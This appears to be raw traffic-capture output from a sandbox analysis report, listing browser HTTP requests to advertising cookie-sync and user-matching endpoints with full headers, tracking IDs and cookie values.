Source: global traffic	HTTP traffic detected: GET /match/bounce/current?version=1&networkId=72582&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D90%26gdpr%3D0%26gdpr_consent%3D%26uid%3D HTTP/1.1Host: prebid-match.dotomi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?aid=11581&id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /usersync/disqus?cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26buyeruid%3D__ZUID__%26r%3DCid1YS1hNDc3YzRhYi01MjNlLTM3MDQtODA5My04YzVjYTM0ZjY3OGIqYmh0dHBzOi8vY3Mtc2VydmVyLXMycy55ZWxsb3dibHVlLmlvL2NzP2Z3cmQ9MSZhaWQ9MTE2MTImaWQ9dWEtYTQ3N2M0YWItNTIzZS0zNzA0LTgwOTMtOGM1Y2EzNGY2NzhiMgIhKTgB&gdpr=0&gdpr_consent=&obuid=9208f8df-5ee2-45ac-94a7-7e1f65005208&puid=ua-a477c4ab-523e-3704-8093-8c5ca34f678b&s=2&us_privacy= HTTP/1.1Host: b1sync.zemanta.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub10101531197440&gdpr=0&gdpr_consent= HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11607&uid= HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11571&id=116dd9cd-26eb-459f-94c7-877e1afc3d87&gdpr_consent=null&gdpr=0 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=onetag.com&id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partner=rubicon&uid=M7A5MT0O-13-DO11 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ul_cb/check_uuid/https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dgrid%26userId%3D%24%7BBSW_UUID%7D%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D?gdpr=&gdpr_consent=&us_privacy=&uid=${BSW_UUID}&cookie_age=${COOKIE_AGE} HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?int_id=107&uid=4297351098029873353 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /match/?int_id=2&uid=M7A5MT0O-13-DO11&gdpr=0 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=bidswitch&bidswitch_ssp_id=onetag&bsw_user_id=&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?int_id=106&google_error=3&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /match/?int_id=149&gdpr=0&gdpr_consent=&uid=part_P3nIw6mfctvU&ev=1&us_privacy=&pid=562985 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=grid&userId=&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N188Vh4wVwtRRWJVLUIfQRkyFFIKRXRVeh1tVAA0VwtRRWJVP0E%2FYBkgVwtRRWJVKlQrWgIhFkVRXWwfLEU%2FQEprWkQAFWACNlUqQQQrG1RdBCEad0Q8VgIUHEkWC2EEIV8sDAAlB0UdAjw%2BPAx6ClYxHFVOQzUBPEsaQBU2JkgdBAMWO0MgTl
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?p=vidazoo&endpoint=us-east HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0ohIJQ32Es3GfyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=unruly&userId=OPTOUT&us_privacy=1-N- HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N188Vh4wVwtRRWJVLUIfQRkyFFIKRXRVeh1tVAA0VwtRRWJVP0E%2FYBkgVwtRRWJVKlQrWgIhFkVRXWwfLEU%2FQEprWkQAFWACNlUqQQQrG1RdBCEad0Q8VgIUHEkWC2EEIV8sDAAlB0UdAjw%2BPAx6ClYxHFVOQzUBPEsaQBU2JkgdBAMWO0MgTlI5WRMaF
Source: global traffic	HTTP traffic detected: GET /match/bounce/current?DotomiTest=5402a9b51a881507&is_secure=true&version=1&networkId=72582&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D90%26gdpr%3D0%26gdpr_consent%3D%26uid%3D HTTP/1.1Host: prebid-match.dotomi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=250&expires=14&user_id=&ssp=onetag HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
